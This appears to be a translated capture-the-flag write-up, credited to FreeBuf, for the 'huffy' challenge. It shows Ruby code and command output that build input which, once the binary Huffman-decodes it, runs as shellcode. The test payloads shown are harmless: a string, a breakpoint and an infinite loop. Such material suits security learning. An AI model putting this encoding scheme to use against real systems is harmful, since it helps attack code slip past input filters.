Huffy：哈夫曼編碼的shellcode
責編：admin ｜2015-03-17 11:24:30初次見到“shellcode”的時候，感覺非常高大上，其實接觸久了之后你會發現它實際上只是一段代碼（也可以是填充數據），是一種用來發送到服務器利用特定漏洞的針對性代碼，一般可以利用它獲取一定的權限。今天我們將共同學習一種新的shellcode編碼方式——Huffy，即基于哈夫曼編碼的shellcode，這種方式利用哈夫曼樹壓縮數據的特性來對shellcode進行數據壓縮，以達到“短小精悍”的目的。
哈夫曼樹
因為這種方法叫做Huffy，并且最近我剛剛解決了一個有關哈夫曼樹的問題，所以首先我想到的就是哈夫曼樹。
如果你還不知道什么是哈夫曼樹，那我就在這里簡單提一下。哈夫曼樹是一種相當簡單的數據結構，它可以用來進行數據壓縮。哈夫曼樹的建立是通過讀取輸入的內容，然后創建一棵樹，出現頻率最高的字符靠近樹的頂部，而頻率最低的字符靠近樹的底部。
為了壓縮數據，它會遍歷整個樹以生成編碼位（左邊的編碼為0，右邊的編碼為1）。一個字符越靠近樹的頂部，那么該字符編碼之后所用的位數越少，這也被稱為“前綴碼”，這是一種非常簡潔的屬性，該屬性意味著沒有編碼的位串會作為另一個位串的前綴（換句話說，當你閱讀二進制位流的時候，你就能立刻知道解碼該字符何時結束）。
例如下面的哈夫曼樹：
通過該哈夫曼樹，我們就能知道它來自一個包含9個字符的文本，其中有5個字符是字母“o”，3個字符是字母“d”，1個字符是字母“g”。
所以，當你用該樹壓縮數據時，你可以將單詞“dog”作如下處理：
d=00（左左）
o=1（右）
g=01（左右）
所以，“dog”將會編碼成位流“00101”。
如果你看到以位流“01100”表示的字符串，你就可以按照上面哈夫曼樹來解碼：左右（g）、右（o）、左左（d），所以解碼得到該字符串內容為“god”。
如果在一個字符串中所有字符的數目都相同，并且不同字符的種類數是2的整數冪（例如：“aabbccdd”中，不同字符的種類數為4，即2的平方），你就需要通過一個平衡的哈夫曼樹來表示。例如，字符串“aaabbbcccddd”的表示將會是如下形式的哈夫曼樹：
通過查找上圖中的哈夫曼樹可知，字符串“abcd”將會編碼成“00011011”。哈夫曼樹的這種特性非常重要。
程序分析
當你運行程序時，它將提示你輸入，在你輸入相應內容之后，它將輸出一堆毫無意義的東西（盡管輸出使我們理解變得簡單多了）。可以看下這個例子：
$ echo ‘this is a test string’ | ./huffy
CWD: /home/ron/gits2015/huffy
Nibble? Frequency
——? ———
0?????? 0.113636
1?????? 0.022727
2?????? 0.113636
3?????? 0.090909
4?????? 0.090909
5?????? 0.022727
6?????? 0.181818
7?????? 0.227273
8?????? 0.022727
9?????? 0.068182
a?????? 0.022727
b?????? 0.000000
c?????? 0.000000
d?????? 0.000000
e?????? 0.022727
f?????? 0.000000
Read 22 bytes
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.000000
Two lowest frequencies: 0.000000 and 0.022727
Two lowest frequencies: 0.022727 and 0.022727
Two lowest frequencies: 0.022727 and 0.022727
Two lowest frequencies: 0.022727 and 0.045455
Two lowest frequencies: 0.045455 and 0.068182
Two lowest frequencies: 0.068182 and 0.090909
Two lowest frequencies: 0.090909 and 0.113636
Two lowest frequencies: 0.113636 and 0.113636
Two lowest frequencies: 0.159091 and 0.181818
Two lowest frequencies: 0.204545 and 0.227273
Two lowest frequencies: 0.227273 and 0.227273
Two lowest frequencies: 0.340909 and 0.431818
Two lowest frequencies: 0.454545 and 0.454545
Two lowest frequencies: 0.772727 and 0.909091
Breaking!
0 –0–> 0x9863348 –1–> 0x9863390 –1–> 0x98633c0 –1–> 0x98633d8
1 –0–> 0x98632b8 –1–> 0x98632e8 –0–> 0x9863318 –0–> 0x9863360 –0–> 0x98633a8 –0–> 0x98633d8
2 –1–> 0x9863348 –1–> 0x9863390 –1–> 0x98633c0 –1–> 0x98633d8
3 –1–> 0x9863318 –0–> 0x9863360 –0–> 0x98633a8 –0–> 0x98633d8
4 –0–> 0x9863330 –0–> 0x9863378 –1–> 0x98633a8 –0–> 0x98633d8
5 –0–> 0x98632d0 –0–> 0x9863300 –1–> 0x9863330 –0–> 0x9863378 –1–> 0x98633a8 –0–> 0x98633d8
6 –1–> 0x9863360 –0–> 0x98633a8 –0–> 0x98633d8
7 –1–> 0x9863378 –1–> 0x98633a8 –0–> 0x98633d8
8 –0–> 0x98632e8 –0–> 0x9863318 –0–> 0x9863360 –0–> 0x98633a8 –0–> 0x98633d8
9 –1–> 0x9863300 –1–> 0x9863330 –0–> 0x9863378 –1–> 0x98633a8 –0–> 0x98633d8
a –1–> 0x98632d0 –0–> 0x9863300 –1–> 0x9863330 –0–> 0x9863378 –1–> 0x98633a8 –0–> 0x98633d8
b –0–> 0x9863258 –0–> 0x9863270 –0–> 0x9863288 –0–> 0x98632a0 –1–> 0x98632b8 –1–> 0x98632e8 –0–> 0x9863318 –0–> 0x9863360 –0–> 0x98633a8 –0–> 0x98633d8
c –1–> 0x9863288 –0–> 0x98632a0 –1–> 0x98632b8 –1–> 0x98632e8 –0–> 0x9863318 –0–> 0x9863360 –0–> 0x98633a8 –0–> 0x98633d8
d –1–> 0x9863270 –0–> 0x9863288 –0–> 0x98632a0 –1–> 0x98632b8 –1–> 0x98632e8 –0–> 0x9863318 –0–> 0x9863360 –0–> 0x98633a8 –0–> 0x98633d8
e –1–> 0x98632a0 –1–> 0x98632b8 –1–> 0x98632e8 –0–> 0x9863318 –0–> 0x9863360 –0–> 0x98633a8 –0–> 0x98633d8
f –1–> 0x9863258 –0–> 0x9863270 –0–> 0x9863288 –0–> 0x98632a0 –1–> 0x98632b8 –1–> 0x98632e8 –0–> 0x9863318 –0–> 0x9863360 –0–> 0x98633a8 –0–> 0x98633d8
Encoding input…
ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
Binary Encoded:
h@V????Q?O?-????
Executing encoded input…
Segmentation fault
可能理解起來需要花一點時間，但是一旦你明白了，你會發現輸出的內容很直截了當。
第一部分分析了每個半字節（半字節代表一個十六進制字符或字節的一半）出現的頻率。這部分結果告訴我們程序通過半字節的形式對數據進行了壓縮，然后給出了輸入內容中字符出現頻率的分析，最后顯示了16個可能半字節的編碼結果。
編碼之后，會將這些位轉換成一個很長的二進制碼流，然后運行它們。
流程總結：首先輸入一些數據，然后以半字節為單位用哈夫曼編碼進行壓縮，最后將其轉換成可執行的代碼，此時我們就得到了利用哈夫曼算法壓縮過的shellcode。
為了簡單起見，我還是用一些shell代碼來清理輸出的內容，以方便我更好地分析到底發生了什么：
$ echo ‘this is a test string’ | ./huffy | sed -re ‘s/ –/ /’ -e ‘s/–> .{9} –//g’ -e ‘s/–> .*//’
得到如下結果：
[…]
0 0111
1 010000
2 1111
3 1000
4 0010
5 001010
6 100
7 110
8 00000
9 11010
a 101010
b 0000110000
c 10110000
d 100110000
e 1110000
f 1000110000
Encoding input…
ASCII Encoded: 011010000100000001010110110001111111100010101101100011111111000100001011111110011010000101010001100010110100111111100110001011010001111110010101100100001110010111110010101
如果你嘗試輸入“AAAA”，你將得到如下結果：
$ echo ‘AAAA’ | ./huffy | sed -re ‘s/ –/ /’ -e ‘s/–> .{9} –//g’ -e ‘s/–> .*//'[…]
0 0101
1 0
2 0000000000001101
3 101101
4 11
5 1001101
6 10001101
7 100001101
8 1000001101
9 10000001101
a 11101
b 100000001101
c 1000000001101
d 10000000001101
e 100000000001101
f 1000000000001101
Encoding input…
ASCII Encoded: 110110110110101010111
Binary Encoded:
你可能知道“AAAA”=“41414141”（ASCII碼表示），所以’4’和’1’就成了最常用的半字節，而由上面圖中也能證實，即’4’被編碼成’11’，’1’被編碼成’0’。我們希望以一個換行符’\x0a’結束，所以’0’和’a’也應該進行編碼。
如果我們將這些字符分開，可以得到如下內容：
ASCII Encoded: 11 0 11 0 11 0 11 0 1010 10111
需要注意的是，圖中編碼后的結果都被逆序了，雖然’11’和’0’其實并不受逆序的影響，但是’1010’=’0101’=’0’，’10111’=’11101’=’a’。說實話，剛開始我并沒有注意到逆序問題的存在，但我以一個新的方式解決了這個問題。
還記得前面說的嗎？如果有一個含有2的冪次方個節點的平衡樹，所有的字符都將被編碼成相同的位數。事實證明，結果有16個不同的半字節，所以如果你輸入的字符串中有偶數個半字節，那么它們都將被編碼成4位：
$ echo -ne ‘\x01\x23\x45\x67\x89\xab\xcd\xef’ | ./huffy | sed -re ‘s/ –/ /’ -e ‘s/–> .{9} –//g’ -e ‘s/–> .*//’0 0000
1 0001
2 0011
3 0010
4 0110
5 0111
6 0101
7 0100
8 1100
9 1101
a 1111
b 1110
c 1010
d 1011
e 1001
f 1000
它們不僅會被編碼成4位，而且每一種可能的4位值都被列出來了。
方法使用
其實，這種方法使用起來非常簡單，需要做的僅僅是簡單的查表：
1、首先算出半字節對應的編碼后的二進制位；
2、將這些半字節作為shellcode寫出來；
3、填充shellcode，直到每個半字節都有相同的數量。
這已經相當的直觀了，你可以參考我的全部利用代碼，或者利用下面的片段根據實際情況進行拼接。
首先，創建一個表（下面是我手工創建的）：
@@table = {? “0000” => 0x0, “0001” => 0x1, “0011” => 0x2, “0010” => 0x3,? “0110” => 0x4, “0111” => 0x5, “0101” => 0x6, “0100” => 0x7,? “1100” => 0x8, “1101” => 0x9, “1111” => 0xa, “1110” => 0xb,? “1010” => 0xc, “1011” => 0xd, “1001” => 0xe, “1000” => 0xf,
}
然后，將shellcode進行編碼：
def encode_nibble(b)
binary = b.to_s(2).rjust(4, ‘0’)
puts(“Looking up %s… => %x” % [binary, @@table[binary]])? return @@table[binary]end@@hist = [ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ]#shellcode = “\xeb\xfe”#shellcode = “\xcd\x03″shellcode = “hello world, this is my shellcode!”shellcode.each_byte do |b|
n1 = b >> 4
n2 = b & 0x0f
puts(“n1 = %x” % n1)
puts(“n2 = %x” % n2)? @@hist[n1] += 1
@@hist[n2] += 1
out += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0F)).chrend
需要注意一下，我保存了一個直方圖，利用它可以使最后一步的實現更加簡單，然后根據需要填充字符串：
def get_padding()
result = “”
max = @@hist.max
needed_nibbles = []? 0.upto(@@hist.length – 1) do |i|
needed_nibbles << [i] * (max – @@hist[i])
needed_nibbles.flatten!? end
if((needed_nibbles.length % 2) != 0)
puts(“We need an odd number of nibbles! Add some NOPs or something :(“)??? exit
end
0.step(needed_nibbles.length – 1, 2) do |i|
n1 = needed_nibbles[i]
n2 = needed_nibbles[i+1]
result += ((encode_nibble(n1) << 4) | (encode_nibble(n2) & 0x0f)).chr? end
return resultend
現在輸出中應該包含一串對應shellcode的半字節，應該是這樣的。
最后，我們將其輸出：
def output(str)
print “echo -ne ‘”
str.bytes.each do |b|
print(“\\x%02x” % b)? end
puts(“‘ > in; ./huffy < in”)end
修復bug
你注意到剛剛我哪里做錯了嗎？其實，剛剛我犯了個大錯誤，當我試圖編碼“hello world, this is my shellcode!”時，我得到如下結果：
echo -ne ‘\x4f\x46\x48\x48\x4a\x30\x55\x4a\x53\x48\x47\x38\x30\x57\x4f\x4e\x52\x30\x4e\x52\x30\x49\x5e\x30\x52\x4f\x46\x48\x48\x42\x4a\x47\x46\x31\x00\x00\x00\x00\x00\x00\x00\x01\x11\x11\x11\x11\x11\x11\x11\x11\x11\x33\x33\x33\x33\x33\x33\x22\x22\x22\x22\x22\x22\x22\x22\x77\x77\x77\x77\x77\x77\x77\x77\x76\x66\x66\x66\x66\x66\x66\x66\x66\x55\x55\x55\x55\x55\x55\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xee\xee\xee\xee\xee\xee\xee\xee\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\x88\x88\x88\x88\x88\x88\x88\x99\x99\x99\x99\x99\x99\x99\x99\x99\x9b\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xbb\xba\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa’ > in; ./huffy < in
上面結果轉換為可視字符后為：
ajcco@?o?cbC@?ai?@i?@k?@?ajcclobj?????????DDDDDD????????””””””””*??????????????????????UUUUUUUUUU??????????3333333??????????wwwwwwwww????????
發生了什么事？這不是我之前輸入的字符串啊。
但是，觀察到字符串以“ajcco”開頭，而我之前輸入的字符串是以“hello”開頭。然后，半字節和字符的對應表就得到啦，如下所示：
0 0000
1 0001
2 0011
3 0010
4 0110
5 0111
6 0101
7 0100
8 1100
9 1101
a 1111
b 1110
c 1010
d 1011
e 1001
f 1000
為了解決這個問題，我試了下面的shellcode：
“\x01\x23\x45\x67\x89\xab\xcd\xef”
然后將其編碼，得到如下結果：
0000100001001100001010100110111000011001010111010011101101111111
以十六進制表示為：
“\x08\x4c\x3a\x6e\x19\x5d\x3b\x7f”
或者，以半字節形式表示為：
0000
1000
0100
1100
0010
1010
0110
1110
0001
1001
0101
1101
0011
1011
0111
1111
如果多花點精力觀察的話，我應該早就發現這個很明顯的問題啦：逆序問題。
因為之前我急于完成它，我沒有注意到每個半字節的各個位都被逆序了（1000而不是0001，0100而不是0010等等）。
雖然之前我沒有注意這個問題，但是我發現所有的結果都是完全錯誤的，所以我做了以下內容：
hack_table = {
0x02 => 0x08, 0x0d => 0x09, 0x00 => 0x00, 0x08 => 0x02,
0x0f => 0x01, 0x07 => 0x03, 0x03 => 0x07, 0x0c => 0x06,
0x04 => 0x04, 0x0b => 0x05, 0x01 => 0x0f, 0x0e => 0x0e,
0x06 => 0x0c, 0x09 => 0x0d, 0x05 => 0x0b, 0x0a => 0x0a
}
hack_out = “”
out.bytes.each do |b|
n1 = hack_table[b >> 4]
n2 = hack_table[b & 0x0f]
hack_out += ((n1 << 4) | (n2 & 0x000f)).chrendoutput(hack_out)
然后用原來的測試shellcode重新運行了該程序：
$ ruby ./sploit.rb
echo -ne ‘\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa’ > in; ./huffy < in
運行上面我所得到的編碼之后的代碼，結果為：
$ echo -ne ‘\x41\x4c\x42\x42\x4a\x70\xbb\x4a\xb7\x42\x43\x72\x70\xb3\x41\x4e\xb8\x70\x4e\xb8\x70\x4d\xbe\x70\xb8\x41\x4c\x42\x42\x48\x4a\x43\x4c\x7f\x00\x00\x00\x00\x00\x00\x00\x0f\xff\xff\xff\xff\xff\xff\xff\xff\xff\x77\x77\x77\x77\x77\x77\x88\x88\x88\x88\x88\x88\x88\x88\x33\x33\x33\x33\x33\x33\x33\x33\x3c\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xbb\xbb\xbb\xbb\xbb\xbb\x11\x11\x11\x11\x11\x11\x11\x11\x1e\xee\xee\xee\xee\xee\xee\xee\xee\x66\x66\x66\x66\x66\x66\x66\x66\x66\x66\x99\x99\x99\x99\x99\x99\x99\x99\x99\x99\x22\x22\x22\x22\x22\x22\x22\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xd5\x55\x55\x55\x55\x55\x55\x55\x55\x55\x5a\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa’ > in; ./huffy < in
二進制編碼結果為：
hello world, this is my shellcode!””””””33333333DDDDDDDDEUUUUUUUUwwwwww????????????????????????????????????????????????????????????????????????
Executing encoded input…
Segmentation fault
現在看起來正常了，通過修改那個錯誤已經可以正確地解碼了。下面再試一下我比較喜歡的兩個測試字符串“\xcd\x03”（調試斷點，也可使用“\ xcc”）和“\ xeb \ xfe”（無限循環）：
$ ruby ./sploit.rb
echo -ne ‘\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a’ > in; ./huffy < in
$ echo -ne ‘\x2d\x08\xf7\x3c\x4b\x1e\x69\x5a’ > in; ./huffy < in
Binary Encoded:
Eg
Executing encoded input…
Trace/breakpoint trap
$ ruby ./sploit.rb
echo -ne ‘\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda’ > in; ./huffy < in
$ echo -ne ‘\x59\xa5\x00\xff\x77\x88\x33\xcc\x44\xbb\x11\xee\x66\x92\x2d\xda’ > in; ./huffy < in
Binary Encoded:
??”3DUfw??????
Executing encoded input…
[…infinite loop…]
總結
總的來說，利用哈夫曼編碼處理shellcode是一種相當直觀的方法，通過以半字節為單位壓縮你輸入的數據，然后就能得到編碼之后的shellcode，經過驗證，經過這種方法壓縮之后的shellcode能夠正常運行。
最后，在使用該方法的時候，可以將目標shellcode填充得到1024個半字節，接著進行哈夫曼編碼并進行利用。
文章來源：FreeBuf黑客與極客（FreeBuf.COM）